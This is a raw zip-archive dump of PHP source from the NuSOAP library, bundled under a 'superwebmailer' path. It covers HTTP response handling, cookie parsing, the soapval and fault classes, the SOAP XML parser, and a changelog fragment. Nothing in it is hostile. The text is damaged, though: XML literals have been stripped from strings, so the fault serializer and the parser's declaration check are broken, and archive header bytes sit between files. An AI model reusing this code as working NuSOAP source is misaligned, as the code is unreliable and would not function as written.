    '; } // close curl $this->debug('No cURL error, closing cURL'); curl_close($this->ch); // try removing skippable headers $savedata = $data; while ($this->isSkippableCurlHeader($data)) { $this->debug("Found HTTP header to skip"); if ($pos = strpos($data,"\r\n\r\n")) { $data = ltrim(substr($data,$pos)); } elseif($pos = strpos($data,"\n\n") ) { $data = ltrim(substr($data,$pos)); } } if ($data == '') { // have nothing left; just remove 100 header(s) $data = $savedata; while (preg_match('/^HTTP\/1.1 100/',$data)) { if ($pos = strpos($data,"\r\n\r\n")) { $data = ltrim(substr($data,$pos)); } elseif($pos = strpos($data,"\n\n") ) { $data = ltrim(substr($data,$pos)); } } } // separate content from HTTP headers if ($pos = strpos($data,"\r\n\r\n")) { $lb = "\r\n"; } elseif( $pos = strpos($data,"\n\n")) { $lb = "\n"; } else { $this->debug('no proper separation of headers and document'); $this->setError('no proper separation of headers and document'); return false; } $header_data = trim(substr($data,0,$pos)); $header_array = explode($lb,$header_data); $data = ltrim(substr($data,$pos)); $this->debug('found proper separation of headers and document'); $this->debug('cleaned data, stringlen: '.strlen($data)); // clean headers foreach ($header_array as $header_line) { $arr = explode(':',$header_line,2); if(count($arr) > 1){ $header_name = strtolower(trim($arr[0])); $this->incoming_headers[$header_name] = trim($arr[1]); if ($header_name == 'set-cookie') { // TODO: allow multiple cookies from parseCookie $cookie = $this->parseCookie(trim($arr[1])); if ($cookie) { $this->incoming_cookies[] = $cookie; $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); } else { $this->debug('did not find cookie in ' . trim($arr[1])); } } } else if (isset($header_name)) { // append continuation line to previous header $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; } } } $this->response_status_line = $header_array[0]; $arr = explode(' ', $this->response_status_line, 3); $http_version = $arr[0]; $http_status = intval($arr[1]); $http_reason = count($arr) > 2 ? $arr[2] : ''; // see if we need to resend the request with http digest authentication if (isset($this->incoming_headers['location']) && ($http_status == 301 || $http_status == 302)) { $this->debug("Got $http_status $http_reason with Location: " . $this->incoming_headers['location']); $this->setURL($this->incoming_headers['location']); $this->tryagain = true; return false; } // see if we need to resend the request with http digest authentication if (isset($this->incoming_headers['www-authenticate']) && $http_status == 401) { $this->debug("Got 401 $http_reason with WWW-Authenticate: " . $this->incoming_headers['www-authenticate']); if (strstr($this->incoming_headers['www-authenticate'], "Digest ")) { $this->debug('Server wants digest authentication'); // remove "Digest " from our elements $digestString = str_replace('Digest ', '', $this->incoming_headers['www-authenticate']); // parse elements into array $digestElements = explode(',', $digestString); foreach ($digestElements as $val) { $tempElement = explode('=', trim($val), 2); $digestRequest[$tempElement[0]] = str_replace("\"", '', $tempElement[1]); } // should have (at least) qop, realm, nonce if (isset($digestRequest['nonce'])) { $this->setCredentials($this->username, $this->password, 'digest', $digestRequest); $this->tryagain = true; return false; } } $this->debug('HTTP authentication failed'); $this->setError('HTTP authentication failed'); return false; } if ( ($http_status >= 300 && $http_status <= 307) || ($http_status >= 400 && $http_status <= 417) || ($http_status >= 501 && $http_status <= 505) ) { $this->setError("Unsupported HTTP response status $http_status $http_reason (soapclient->response has contents of the response)"); return false; } // decode content-encoding if(isset($this->incoming_headers['content-encoding']) && $this->incoming_headers['content-encoding'] != ''){ if(strtolower($this->incoming_headers['content-encoding']) == 'deflate' || strtolower($this->incoming_headers['content-encoding']) == 'gzip'){ // if decoding works, use it. else assume data wasn't gzencoded if(function_exists('gzinflate')){ //$timer->setMarker('starting decoding of gzip/deflated content'); // IIS 5 requires gzinflate instead of gzuncompress (similar to IE 5 and gzdeflate v. gzcompress) // this means there are no Zlib headers, although there should be $this->debug('The gzinflate function exists'); $datalen = strlen($data); if ($this->incoming_headers['content-encoding'] == 'deflate') { if ($degzdata = @gzinflate($data)) { $data = $degzdata; $this->debug('The payload has been inflated to ' . strlen($data) . ' bytes'); if (strlen($data) < $datalen) { // test for the case that the payload has been compressed twice $this->debug('The inflated payload is smaller than the gzipped one; try again'); if ($degzdata = @gzinflate($data)) { $data = $degzdata; $this->debug('The payload has been inflated again to ' . strlen($data) . ' bytes'); } } } else { $this->debug('Error using gzinflate to inflate the payload'); $this->setError('Error using gzinflate to inflate the payload'); } } elseif ($this->incoming_headers['content-encoding'] == 'gzip') { if ($degzdata = @gzinflate(substr($data, 10))) { // do our best $data = $degzdata; $this->debug('The payload has been un-gzipped to ' . strlen($data) . ' bytes'); if (strlen($data) < $datalen) { // test for the case that the payload has been compressed twice $this->debug('The un-gzipped payload is smaller than the gzipped one; try again'); if ($degzdata = @gzinflate(substr($data, 10))) { $data = $degzdata; $this->debug('The payload has been un-gzipped again to ' . strlen($data) . ' bytes'); } } } else { $this->debug('Error using gzinflate to un-gzip the payload'); $this->setError('Error using gzinflate to un-gzip the payload'); } } //$timer->setMarker('finished decoding of gzip/deflated content'); //print "\nde-inflated:\n---------------\n$data\n-------------\n"; // set decoded payload $this->incoming_payload = $header_data.$lb.$lb.$data; } else { $this->debug('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); $this->setError('The server sent compressed data. Your php install must have the Zlib extension compiled in to support this.'); } } else { $this->debug('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); $this->setError('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); } } else { $this->debug('No Content-Encoding header'); } if(strlen($data) == 0){ $this->debug('no data after headers!'); $this->setError('no data present after HTTP headers'); return false; } return $data; } /** * sets the content-type for the SOAP message to be sent * * @param string $type the content type, MIME style * @param mixed $charset character set used for encoding (or false) * @access public */ function setContentType($type, $charset = false) { $this->setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : '')); } /** * specifies that an HTTP persistent connection should be used * * @return boolean whether the request was honored by this method. * @access public */ function usePersistentConnection(){ if (isset($this->outgoing_headers['Accept-Encoding'])) { return false; } $this->protocol_version = '1.1'; $this->persistentConnection = true; $this->setHeader('Connection', 'Keep-Alive'); return true; } /** * parse an incoming Cookie into it's parts * * @param string $cookie_str content of cookie * @return array with data of that cookie * @access private */ /* * TODO: allow a Set-Cookie string to be parsed into multiple cookies */ function parseCookie($cookie_str) { $cookie_str = str_replace('; ', ';', $cookie_str) . ';'; $data = preg_split('/;/', $cookie_str); $value_str = $data[0]; $cookie_param = 'domain='; $start = strpos($cookie_str, $cookie_param); if ($start > 0) { $domain = substr($cookie_str, $start + strlen($cookie_param)); $domain = substr($domain, 0, strpos($domain, ';')); } else { $domain = ''; } $cookie_param = 'expires='; $start = strpos($cookie_str, $cookie_param); if ($start > 0) { $expires = substr($cookie_str, $start + strlen($cookie_param)); $expires = substr($expires, 0, strpos($expires, ';')); } else { $expires = ''; } $cookie_param = 'path='; $start = strpos($cookie_str, $cookie_param); if ( $start > 0 ) { $path = substr($cookie_str, $start + strlen($cookie_param)); $path = substr($path, 0, strpos($path, ';')); } else { $path = '/'; } $cookie_param = ';secure;'; if (strpos($cookie_str, $cookie_param) !== FALSE) { $secure = true; } else { $secure = false; } $sep_pos = strpos($value_str, '='); if ($sep_pos) { $name = substr($value_str, 0, $sep_pos); $value = substr($value_str, $sep_pos + 1); $cookie= array( 'name' => $name, 'value' => $value, 'domain' => $domain, 'path' => $path, 'expires' => $expires, 'secure' => $secure ); return $cookie; } return false; } /** * sort out cookies for the current request * * @param array $cookies array with all cookies * @param boolean $secure is the send-content secure or not? * @return string for Cookie-HTTP-Header * @access private */ function getCookiesForRequest($cookies, $secure=false) { $cookie_str = ''; if ((! is_null($cookies)) && (is_array($cookies))) { foreach ($cookies as $cookie) { if (! is_array($cookie)) { continue; } $this->debug("check cookie for validity: ".$cookie['name'].'='.$cookie['value']); if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { if (strtotime($cookie['expires']) <= time()) { $this->debug('cookie has expired'); continue; } } if ((isset($cookie['domain'])) && (! empty($cookie['domain']))) { $domain = preg_quote($cookie['domain']); if (! preg_match("'.*$domain$'i", $this->host)) { $this->debug('cookie has different domain'); continue; } } if ((isset($cookie['path'])) && (! empty($cookie['path']))) { $path = preg_quote($cookie['path']); if (! preg_match("'^$path.*'i", $this->path)) { $this->debug('cookie is for a different path'); continue; } } if ((! $secure) && (isset($cookie['secure'])) && ($cookie['secure'])) { $this->debug('cookie is secure, transport is not'); continue; } $cookie_str .= $cookie['name'] . '=' . $cookie['value'] . '; '; $this->debug('add cookie to Cookie-String: ' . $cookie['name'] . '=' . $cookie['value']); } } return $cookie_str; } } ?>PKq\V%superwebmailer/lib/class.soap_val.phpnu[ * @version $Id: class.soap_val.php,v 1.11 2007/04/06 13:56:32 snichol Exp $ * @access public */ class soapval extends nusoap_base { /** * The XML element name * * @var string * @access private */ var $name; /** * The XML type name (string or false) * * @var mixed * @access private */ var $type; /** * The PHP value * * @var mixed * @access private */ var $value; /** * The XML element namespace (string or false) * * @var mixed * @access private */ var $element_ns; /** * The XML type namespace (string or false) * * @var mixed * @access private */ var $type_ns; /** * The XML element attributes (array or false) * * @var mixed * @access private */ var $attributes; /** * constructor * * @param string $name optional name * @param mixed $type optional type name * @param mixed $value optional value * @param mixed $element_ns optional namespace of value * @param mixed $type_ns optional namespace of type * @param mixed $attributes associative array of attributes to add to element serialization * @access public */ function soapval($name='soapval',$type=false,$value=-1,$element_ns=false,$type_ns=false,$attributes=false) { parent::nusoap_base(); $this->name = $name; $this->type = $type; $this->value = $value; $this->element_ns = $element_ns; $this->type_ns = $type_ns; $this->attributes = $attributes; } /** * return serialized value * * @param string $use The WSDL use value (encoded|literal) * @return string XML data * @access public */ function serialize($use='encoded') { return $this->serialize_val($this->value, $this->name, $this->type, $this->element_ns, $this->type_ns, $this->attributes, $use, true); } /** * decodes a soapval object into a PHP native type * * @return mixed * @access public */ function decode(){ return $this->value; } } ?>PKq\6'superwebmailer/lib/class.soap_fault.phpnu[ * @version $Id: class.soap_fault.php,v 1.14 2007/04/11 15:49:47 snichol Exp $ * @access public */ class nusoap_fault extends nusoap_base { /** * The fault code (client|server) * @var string * @access private */ var $faultcode; /** * The fault actor * @var string * @access private */ var $faultactor; /** * The fault string, a description of the fault * @var string * @access private */ var $faultstring; /** * The fault detail, typically a string or array of string * @var mixed * @access private */ var $faultdetail; /** * constructor * * @param string $faultcode (SOAP-ENV:Client | SOAP-ENV:Server) * @param string $faultactor only used when msg routed between multiple actors * @param string $faultstring human readable error message * @param mixed $faultdetail detail, typically a string or array of string */ function nusoap_fault($faultcode,$faultactor='',$faultstring='',$faultdetail=''){ parent::nusoap_base(); $this->faultcode = $faultcode; $this->faultactor = $faultactor; $this->faultstring = $faultstring; $this->faultdetail = $faultdetail; } /** * serialize a fault * * @return string The serialization of the fault instance. * @access public */ function serialize(){ $ns_string = ''; foreach($this->namespaces as $k => $v){ $ns_string .= "\n xmlns:$k=\"$v\""; } $return_msg = 'soap_defencoding.'"?>'. '\n". ''. ''. $this->serialize_val($this->faultcode, 'faultcode'). $this->serialize_val($this->faultactor, 'faultactor'). $this->serialize_val($this->faultstring, 'faultstring'). $this->serialize_val($this->faultdetail, 'detail'). ''. ''. ''; return $return_msg; } } /** * Backward compatibility */ class soap_fault extends nusoap_fault { } ?>PKq\(*b*b(superwebmailer/lib/class.soap_parser.phpnu[ * @author Scott Nichol * @version $Id: class.soap_parser.php,v 1.42 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_parser extends nusoap_base { var $xml = ''; var $xml_encoding = ''; var $method = ''; var $root_struct = ''; var $root_struct_name = ''; var $root_struct_namespace = ''; var $root_header = ''; var $document = ''; // incoming SOAP body (text) // determines where in the message we are (envelope,header,body,method) var $status = ''; var $position = 0; var $depth = 0; var $default_namespace = ''; var $namespaces = array(); var $message = array(); var $parent = ''; var $fault = false; var $fault_code = ''; var $fault_str = ''; var $fault_detail = ''; var $depth_array = array(); var $debug_flag = true; var $soapresponse = NULL; // parsed SOAP Body var $soapheader = NULL; // parsed SOAP Header var $responseHeaders = ''; // incoming SOAP headers (text) var $body_position = 0; // for multiref parsing: // array of id => pos var $ids = array(); // array of id => hrefs => pos var $multirefs = array(); // toggle for auto-decoding element content var $decode_utf8 = true; /** * constructor that actually does the parsing * * @param string $xml SOAP message * @param string $encoding character encoding scheme of message * @param string $method method for which XML is parsed (unused?) * @param string $decode_utf8 whether to decode UTF-8 to ISO-8859-1 * @access public */ function nusoap_parser($xml,$encoding='UTF-8',$method='',$decode_utf8=true){ parent::nusoap_base(); $this->xml = $xml; $this->xml_encoding = $encoding; $this->method = $method; $this->decode_utf8 = $decode_utf8; // Check whether content has been read. if(!empty($xml)){ // Check XML encoding $pos_xml = strpos($xml, '', $pos_xml + 2) - $pos_xml + 1); if (preg_match("/encoding=[\"']([^\"']*)[\"']/", $xml_decl, $res)) { $xml_encoding = $res[1]; if (strtoupper($xml_encoding) != $encoding) { $err = "Charset from HTTP Content-Type '" . $encoding . "' does not match encoding from XML declaration '" . $xml_encoding . "'"; $this->debug($err); if ($encoding != 'ISO-8859-1' || strtoupper($xml_encoding) != 'UTF-8') { $this->setError($err); return; } // when HTTP says ISO-8859-1 (the default) and XML says UTF-8 (the typical), assume the other endpoint is just sloppy and proceed } else { $this->debug('Charset from HTTP Content-Type matches encoding from XML declaration'); } } else { $this->debug('No encoding specified in XML declaration'); } } else { $this->debug('No XML declaration'); } $this->debug('Entering nusoap_parser(), length='.strlen($xml).', encoding='.$encoding); // Create an XML parser - why not xml_parser_create_ns? $this->parser = xml_parser_create($this->xml_encoding); // Set the options for parsing the XML data. //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, $this->xml_encoding); // Set the object for the parser. xml_set_object($this->parser, $this); // Set the element handlers for the parser. xml_set_element_handler($this->parser, 'start_element','end_element'); xml_set_character_data_handler($this->parser,'character_data'); // Parse the XML file. if(!xml_parse($this->parser,$xml,true)){ // Display an error message. $err = sprintf('XML error parsing SOAP payload on line %d: %s', xml_get_current_line_number($this->parser), xml_error_string(xml_get_error_code($this->parser))); $this->debug($err); $this->debug("XML payload:\n" . $xml); $this->setError($err); } else { $this->debug('in nusoap_parser ctor, message:'); $this->appendDebug($this->varDump($this->message)); $this->debug('parsed successfully, found root struct: '.$this->root_struct.' of name '.$this->root_struct_name); // get final value $this->soapresponse = $this->message[$this->root_struct]['result']; // get header value if($this->root_header != '' && isset($this->message[$this->root_header]['result'])){ $this->soapheader = $this->message[$this->root_header]['result']; } // resolve hrefs/ids if(sizeof($this->multirefs) > 0){ foreach($this->multirefs as $id => $hrefs){ $this->debug('resolving multirefs for id: '.$id); $idVal = $this->buildVal($this->ids[$id]); if (is_array($idVal) && isset($idVal['!id'])) { unset($idVal['!id']); } foreach($hrefs as $refPos => $ref){ $this->debug('resolving href at pos '.$refPos); $this->multirefs[$id][$refPos] = $idVal; } } } } xml_parser_free($this->parser); } else { $this->debug('xml was empty, didn\'t parse!'); $this->setError('xml was empty, didn\'t parse!'); } } /** * start-element handler * * @param resource $parser XML parser object * @param string $name element name * @param array $attrs associative array of attributes * @access private */ function start_element($parser, $name, $attrs) { // position in a total number of elements, starting from 0 // update class level pos $pos = $this->position++; // and set mine $this->message[$pos] = array('pos' => $pos,'children'=>'','cdata'=>''); // depth = how many levels removed from root? // set mine as current global depth and increment global depth value $this->message[$pos]['depth'] = $this->depth++; // else add self as child to whoever the current parent is if($pos != 0){ $this->message[$this->parent]['children'] .= '|'.$pos; } // set my parent $this->message[$pos]['parent'] = $this->parent; // set self as current parent $this->parent = $pos; // set self as current value for this depth $this->depth_array[$this->depth] = $pos; // get element prefix if(strpos($name,':')){ // get ns prefix $prefix = substr($name,0,strpos($name,':')); // get unqualified name $name = substr(strstr($name,':'),1); } // set status if ($name == 'Envelope' && $this->status == '') { $this->status = 'envelope'; } elseif ($name == 'Header' && $this->status == 'envelope') { $this->root_header = $pos; $this->status = 'header'; } elseif ($name == 'Body' && $this->status == 'envelope'){ $this->status = 'body'; $this->body_position = $pos; // set method } elseif($this->status == 'body' && $pos == ($this->body_position+1)) { $this->status = 'method'; $this->root_struct_name = $name; $this->root_struct = $pos; $this->message[$pos]['type'] = 'struct'; $this->debug("found root struct $this->root_struct_name, pos $this->root_struct"); } // set my status $this->message[$pos]['status'] = $this->status; // set name $this->message[$pos]['name'] = htmlspecialchars($name); // set attrs $this->message[$pos]['attrs'] = $attrs; // loop through atts, logging ns and type declarations $attstr = ''; foreach($attrs as $key => $value){ $key_prefix = $this->getPrefix($key); $key_localpart = $this->getLocalPart($key); // if ns declarations, add to class level array of valid namespaces if($key_prefix == 'xmlns'){ if(preg_match('/^http:\/\/www.w3.org\/[0-9]{4}\/XMLSchema$/',$value)){ $this->XMLSchemaVersion = $value; $this->namespaces['xsd'] = $this->XMLSchemaVersion; $this->namespaces['xsi'] = $this->XMLSchemaVersion.'-instance'; } $this->namespaces[$key_localpart] = $value; // set method namespace if($name == $this->root_struct_name){ $this->methodNamespace = $value; } // if it's a type declaration, set type } elseif($key_localpart == 'type'){ if (isset($this->message[$pos]['type']) && $this->message[$pos]['type'] == 'array') { // do nothing: already processed arrayType } else { $value_prefix = $this->getPrefix($value); $value_localpart = $this->getLocalPart($value); $this->message[$pos]['type'] = $value_localpart; $this->message[$pos]['typePrefix'] = $value_prefix; if(isset($this->namespaces[$value_prefix])){ $this->message[$pos]['type_namespace'] = $this->namespaces[$value_prefix]; } else if(isset($attrs['xmlns:'.$value_prefix])) { $this->message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix]; } // should do something here with the namespace of specified type? } } elseif($key_localpart == 'arrayType'){ $this->message[$pos]['type'] = 'array'; /* do arrayType ereg here [1] arrayTypeValue ::= atype asize [2] atype ::= QName rank* [3] rank ::= '[' (',')* ']' [4] asize ::= '[' length~ ']' [5] length ::= nextDimension* Digit+ [6] nextDimension ::= Digit+ ',' */ $expr = '/([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]/'; if(preg_match($expr,$value,$regs)){ $this->message[$pos]['typePrefix'] = $regs[1]; $this->message[$pos]['arrayTypePrefix'] = $regs[1]; if (isset($this->namespaces[$regs[1]])) { $this->message[$pos]['arrayTypeNamespace'] = $this->namespaces[$regs[1]]; } else if (isset($attrs['xmlns:'.$regs[1]])) { $this->message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]]; } $this->message[$pos]['arrayType'] = $regs[2]; $this->message[$pos]['arraySize'] = $regs[3]; $this->message[$pos]['arrayCols'] = $regs[4]; } // specifies nil value (or not) } elseif ($key_localpart == 'nil'){ $this->message[$pos]['nil'] = ($value == 'true' || $value == '1'); // some other attribute } elseif ($key != 'href' && $key != 'xmlns' && $key_localpart != 'encodingStyle' && $key_localpart != 'root') { $this->message[$pos]['xattrs']['!' . $key] = $value; } if ($key == 'xmlns') { $this->default_namespace = $value; } // log id if($key == 'id'){ $this->ids[$value] = $pos; } // root if($key_localpart == 'root' && $value == 1){ $this->status = 'method'; $this->root_struct_name = $name; $this->root_struct = $pos; $this->debug("found root struct $this->root_struct_name, pos $pos"); } // for doclit $attstr .= " $key=\"$value\""; } // get namespace - must be done after namespace atts are processed if(isset($prefix)){ $this->message[$pos]['namespace'] = $this->namespaces[$prefix]; $this->default_namespace = $this->namespaces[$prefix]; } else { $this->message[$pos]['namespace'] = $this->default_namespace; } if($this->status == 'header'){ if ($this->root_header != $pos) { $this->responseHeaders .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; } } elseif($this->root_struct_name != ''){ $this->document .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; } } /** * end-element handler * * @param resource $parser XML parser object * @param string $name element name * @access private */ function end_element($parser, $name) { // position of current element is equal to the last value left in depth_array for my depth $pos = $this->depth_array[$this->depth--]; // get element prefix if(strpos($name,':')){ // get ns prefix $prefix = substr($name,0,strpos($name,':')); // get unqualified name $name = substr(strstr($name,':'),1); } // build to native type if(isset($this->body_position) && $pos > $this->body_position){ // deal w/ multirefs if(isset($this->message[$pos]['attrs']['href'])){ // get id $id = substr($this->message[$pos]['attrs']['href'],1); // add placeholder to href array $this->multirefs[$id][$pos] = 'placeholder'; // add set a reference to it as the result value $this->message[$pos]['result'] =& $this->multirefs[$id][$pos]; // build complexType values } elseif($this->message[$pos]['children'] != ''){ // if result has already been generated (struct/array) if(!isset($this->message[$pos]['result'])){ $this->message[$pos]['result'] = $this->buildVal($pos); } // build complexType values of attributes and possibly simpleContent } elseif (isset($this->message[$pos]['xattrs'])) { if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { $this->message[$pos]['xattrs']['!'] = null; } elseif (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { if (isset($this->message[$pos]['type'])) { $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); } else { $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); } else { $this->message[$pos]['xattrs']['!'] = $this->message[$pos]['cdata']; } } } $this->message[$pos]['result'] = $this->message[$pos]['xattrs']; // set value of simpleType (or nil complexType) } else { //$this->debug('adding data for scalar value '.$this->message[$pos]['name'].' of value '.$this->message[$pos]['cdata']); if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { $this->message[$pos]['xattrs']['!'] = null; } elseif (isset($this->message[$pos]['type'])) { $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); } else { $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); } else { $this->message[$pos]['result'] = $this->message[$pos]['cdata']; } } /* add value to parent's result, if parent is struct/array $parent = $this->message[$pos]['parent']; if($this->message[$parent]['type'] != 'map'){ if(strtolower($this->message[$parent]['type']) == 'array'){ $this->message[$parent]['result'][] = $this->message[$pos]['result']; } else { $this->message[$parent]['result'][$this->message[$pos]['name']] = $this->message[$pos]['result']; } } */ } } // for doclit if($this->status == 'header'){ if ($this->root_header != $pos) { $this->responseHeaders .= ""; } } elseif($pos >= $this->root_struct){ $this->document .= ""; } // switch status if ($pos == $this->root_struct){ $this->status = 'body'; $this->root_struct_namespace = $this->message[$pos]['namespace']; } elseif ($pos == $this->root_header) { $this->status = 'envelope'; } elseif ($name == 'Body' && $this->status == 'body') { $this->status = 'envelope'; } elseif ($name == 'Header' && $this->status == 'header') { // will never happen $this->status = 'envelope'; } elseif ($name == 'Envelope' && $this->status == 'envelope') { $this->status = ''; } // set parent back to my parent $this->parent = $this->message[$pos]['parent']; } /** * element content handler * * @param resource $parser XML parser object * @param string $data element content * @access private */ function character_data($parser, $data){ $pos = $this->depth_array[$this->depth]; if ($this->xml_encoding=='UTF-8'){ // TODO: add an option to disable this for folks who want // raw UTF-8 that, e.g., might not map to iso-8859-1 // TODO: this can also be handled with xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, "ISO-8859-1"); if($this->decode_utf8){ $data = utf8_decode($data); } } $this->message[$pos]['cdata'] .= $data; // for doclit if($this->status == 'header'){ $this->responseHeaders .= $data; } else { $this->document .= $data; } } /** * get the parsed message (SOAP Body) * * @return mixed * @access public * @deprecated use get_soapbody instead */ function get_response(){ return $this->soapresponse; } /** * get the parsed SOAP Body (NULL if there was none) * * @return mixed * @access public */ function get_soapbody(){ return $this->soapresponse; } /** * get the parsed SOAP Header (NULL if there was none) * * @return mixed * @access public */ function get_soapheader(){ return $this->soapheader; } /** * get the unparsed SOAP Header * * @return string XML or empty if no Header * @access public */ function getHeaders(){ return $this->responseHeaders; } /** * decodes simple types into PHP variables * * @param string $value value to decode * @param string $type XML type to decode * @param string $typens XML type namespace to decode * @return mixed PHP value * @access private */ function decodeSimple($value, $type, $typens) { // TODO: use the namespace! if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') { return (string) $value; } if ($type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') { return (int) $value; } if ($type == 'float' || $type == 'double' || $type == 'decimal') { return (double) $value; } if ($type == 'boolean') { if (strtolower($value) == 'false' || strtolower($value) == 'f') { return false; } return (boolean) $value; } if ($type == 'base64' || $type == 'base64Binary') { $this->debug('Decode base64 value'); return base64_decode($value); } // obscure numeric types if ($type == 'nonPositiveInteger' || $type == 'negativeInteger' || $type == 'nonNegativeInteger' || $type == 'positiveInteger' || $type == 'unsignedInt' || $type == 'unsignedShort' || $type == 'unsignedByte') { return (int) $value; } // bogus: parser treats array with no elements as a simple type if ($type == 'array') { return array(); } // everything else return (string) $value; } /** * builds response structures for compound values (arrays/structs) * and scalars * * @param integer $pos position in node tree * @return mixed PHP value * @access private */ function buildVal($pos){ if(!isset($this->message[$pos]['type'])){ $this->message[$pos]['type'] = ''; } $this->debug('in buildVal() for '.$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]['type']); // if there are children... if($this->message[$pos]['children'] != ''){ $this->debug('in buildVal, there are children'); $children = explode('|',$this->message[$pos]['children']); array_shift($children); // knock off empty // md array if(isset($this->message[$pos]['arrayCols']) && $this->message[$pos]['arrayCols'] != ''){ $r=0; // rowcount $c=0; // colcount foreach($children as $child_pos){ $this->debug("in buildVal, got an MD array element: $r, $c"); $params[$r][] = $this->message[$child_pos]['result']; $c++; if($c == $this->message[$pos]['arrayCols']){ $c = 0; $r++; } } // array } elseif($this->message[$pos]['type'] == 'array' || $this->message[$pos]['type'] == 'Array'){ $this->debug('in buildVal, adding array '.$this->message[$pos]['name']); foreach($children as $child_pos){ $params[] = &$this->message[$child_pos]['result']; } // apache Map type: java hashtable } elseif($this->message[$pos]['type'] == 'Map' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){ $this->debug('in buildVal, Java Map '.$this->message[$pos]['name']); foreach($children as $child_pos){ $kv = explode("|",$this->message[$child_pos]['children']); $params[$this->message[$kv[1]]['result']] = &$this->message[$kv[2]]['result']; } // generic compound type //} elseif($this->message[$pos]['type'] == 'SOAPStruct' || $this->message[$pos]['type'] == 'struct') { } else { // Apache Vector type: treat as an array $this->debug('in buildVal, adding Java Vector or generic compound type '.$this->message[$pos]['name']); if ($this->message[$pos]['type'] == 'Vector' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') { $notstruct = 1; } else { $notstruct = 0; } // foreach($children as $child_pos){ if($notstruct){ $params[] = &$this->message[$child_pos]['result']; } else { if (isset($params[$this->message[$child_pos]['name']])) { // de-serialize repeated element name into an array if ((!is_array($params[$this->message[$child_pos]['name']])) || (!isset($params[$this->message[$child_pos]['name']][0]))) { $params[$this->message[$child_pos]['name']] = array($params[$this->message[$child_pos]['name']]); } $params[$this->message[$child_pos]['name']][] = &$this->message[$child_pos]['result']; } else { $params[$this->message[$child_pos]['name']] = &$this->message[$child_pos]['result']; } } } } if (isset($this->message[$pos]['xattrs'])) { $this->debug('in buildVal, handling attributes'); foreach ($this->message[$pos]['xattrs'] as $n => $v) { $params[$n] = $v; } } // handle simpleContent if (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { $this->debug('in buildVal, handling simpleContent'); if (isset($this->message[$pos]['type'])) { $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); } else { $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); } else { $params['!'] = $this->message[$pos]['cdata']; } } } $ret = is_array($params) ? $params : array(); $this->debug('in buildVal, return:'); $this->appendDebug($this->varDump($ret)); return $ret; } else { $this->debug('in buildVal, no children, building scalar'); $cdata = isset($this->message[$pos]['cdata']) ? $this->message[$pos]['cdata'] : ''; if (isset($this->message[$pos]['type'])) { $ret = $this->decodeSimple($cdata, $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); $this->debug("in buildVal, return: $ret"); return $ret; } $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $ret = $this->decodeSimple($cdata, $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); $this->debug("in buildVal, return: $ret"); return $ret; } $ret = $this->message[$pos]['cdata']; $this->debug("in buildVal, return: $ret"); return $ret; } } } /** * Backward compatibility */ class soap_parser extends nusoap_parser { } ?>PKq\3psuperwebmailer/lib/changelognu[2003-07-21, version 0.6.5 - soap_transport_http: SOAPAction header is quoted again, fixes problem w/ Weblogic Server - applied Jason Levitt patch for proper array serialization, fixes problem w/ Amazon shopping cart services - fixed null value serialization - applied 